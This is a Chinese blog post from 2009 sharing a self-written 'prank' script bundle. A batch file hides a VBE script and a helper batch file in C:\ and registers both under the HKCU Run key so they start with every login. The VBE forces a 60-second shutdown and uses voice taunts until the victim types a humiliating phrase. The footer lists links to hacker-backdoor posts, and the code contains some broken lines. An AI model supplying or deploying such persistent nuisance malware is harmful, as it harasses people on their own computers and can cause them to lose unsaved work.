一个整人的vbs脚本(yzy原创)
2009年08月14日
声明:你们可以任意转载,但是转载是必须表明作者是yzy
我写了个整人的vbs脚本(我叫它猪头1.1),分三部分:
一、开始.bat:
@copy a\搞笑.vbe "c:\搞笑.vbe"
@copy a\reg.bat "c:\reg.bat"
@cd\
@attrib +a +s +h +r c:\搞笑.vbe
@attrib +a +s +h +r c:\reg.bat
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
@"c:\搞笑.vbe"
二、a(文件夹): 1、reg.bat:
@cd\
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f 2、搞笑.vbe:
on error resume next
dim WSHshellA
Dim msg,sapi
set sapi.Voice = colVoice.Item(cnVoice)
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗?哈哈!赶紧说:我是猪头的爸爸的猪头??不说我是猪头这十二个字,就60秒后关机关你电脑,不信,试试??????"" ",0 ,true
Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
dim a
do while(a "我是猪头的爸爸的猪头")
a = inputbox ("说我是猪头的爸爸的猪头??,就不关机,快撒,说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy QQ:1033742067 ","说不说","在这输入那十二个字就不会关机了",8000,7000)
Msg="真的吗 你真的是猪头 看不出来哦"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
loop
msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
Msg="哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
Set sapi=CreateObject("sapi.spvoice")
Sapi.Speak Msg
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"
发表评论
-
自动生成XIP映像文件的一种方法
2012-01-20 10:02 690自动生成XIP映像文件的一种方法 2011年03月04日 ... -
自动生成 MultiTestManager 的执行文件mtm
2012-01-20 10:02 691自动生成 MultiTestManager 的执行文件mtm ... -
批处理隐藏打开IE
2012-01-20 10:02 806批处理隐藏打开IE 2010年06月25日 bat 复 ... -
自动跳转上/下一页的脚本
2012-01-20 10:02 632自动跳转上/下一页的脚本 2010年10月19日 突然觉 ... -
WIN下用exp备份保存最近N天方案
2012-01-20 10:02 733WIN下用exp备份保存最近N天方案 2010年06月03日 ... -
[黑客必备] Vbs脚本实现radmin终极后门 [工具打包]
2012-01-19 15:04 979[黑客必备] Vbs脚本实现radmin终极后门 [工具打包] ... -
VBS脚本得到CPU使用率,硬盘使用率和内存使用率
2012-01-19 15:03 586VBS脚本得到CPU使用率,硬盘使用率和内存使用率 2011 ... -
VBS脚本
2012-01-19 15:03 644VBS脚本 2011年06月30日 我用VBS写的往EX ... -
xp、2003开3389+非net创建管理用户+Shift后门+自删除脚本+提权VBS 整理收集
2012-01-19 15:03 589xp、2003开3389+非net创建管理用户+Shift后门 ... -
Trojan.DL.VBS.Agent.r 脚本病毒 ASP解密
2012-01-19 15:03 563Trojan.DL.VBS.Agent.r 脚本病毒 ASP解 ... -
总体上说,是c++ builder胜于VC++,DELPHI是最好
2012-01-17 04:50 829总体上说,是c++ builder胜 ... -
Qt 学习笔记 --Qt SDK 的下载安装与配置
2012-01-17 04:50 606Qt 学习笔记 --Qt SDK 的下 ... -
我的文件17/1
2012-01-17 04:50 436我的文件17/1 2010年07月26日 Protel技 ... -
2011年计算机三级考试PC技术知识要点(32)
2012-01-17 04:50 4522011年计算机三级考试PC ... -
VBS脚本病毒刷QQ聊天屏
2012-01-16 03:41 1118VBS脚本病毒刷QQ聊天屏 2009年09月30日 su ... -
脚本操作注册表(vb.vbs)
2012-01-16 03:41 639脚本操作注册表(vb.vbs) 2009年06月05日 ... -
对比删除文件的VBS脚本
2012-01-16 03:41 539对比删除文件的VBS脚本 2011年04月02日 一段对 ... -
列出所有的WMI对象方法和属性vbs脚本
2012-01-16 03:40 1310列出所有的WMI对象方法和属性vbs脚本 2009年10月2 ...
相关推荐
yzy第一次学习笔记作业
自建php留言本,简单易懂,适合初学者。11111111111111
安防,毕业设计做的安防程序,用到了火焰报警,热释电报警,毒气报警,ISM模块
python基础教程【智普教育】(自编精品),python视频video.quanzhan.org
摘要对于当前通信系统来说,物理层是通信服务得到保障的基础;而对于物理层来说,MIMO 则是基本的支撑技术;对于 MIMO 来说,准确地确定信道质量并做有效反馈及
内有ES6、React、React Native基础知识串讲,TypeScript基础知识, 项目分析,接口管理工具、新版导航器React-Navigation5.0
精品专题课件(2021-2022年收藏)
打包导出客户端,宝塔终端命令到客户端目录:cd/www/wwwroot/客户端目录,然后运行命令:npm run build,等待打包完成,打包完成后会出现一个dist目录 13.进入dist目录有两个文件dist和index.html,将这两个文件复制...
数据库 手工 备份 恢复 oracle sqlserver2000 sqlserver2005 sqlserver2008
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的...
正常启动后设置映射 随便解析一个域名 域名需要开通ssl 若出现extends layout block content h1= title p Welcome to #(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你...
正常启动后设置映射随便解析一个域名域名需要开通ssl 若出现extendslayoutblockcontenth1=titlepWelcometo#(title)即代表服务端部署成功。 打开服务器后台修改src/assets/js/yzy.js 里面的网址改成你的然后打包 ...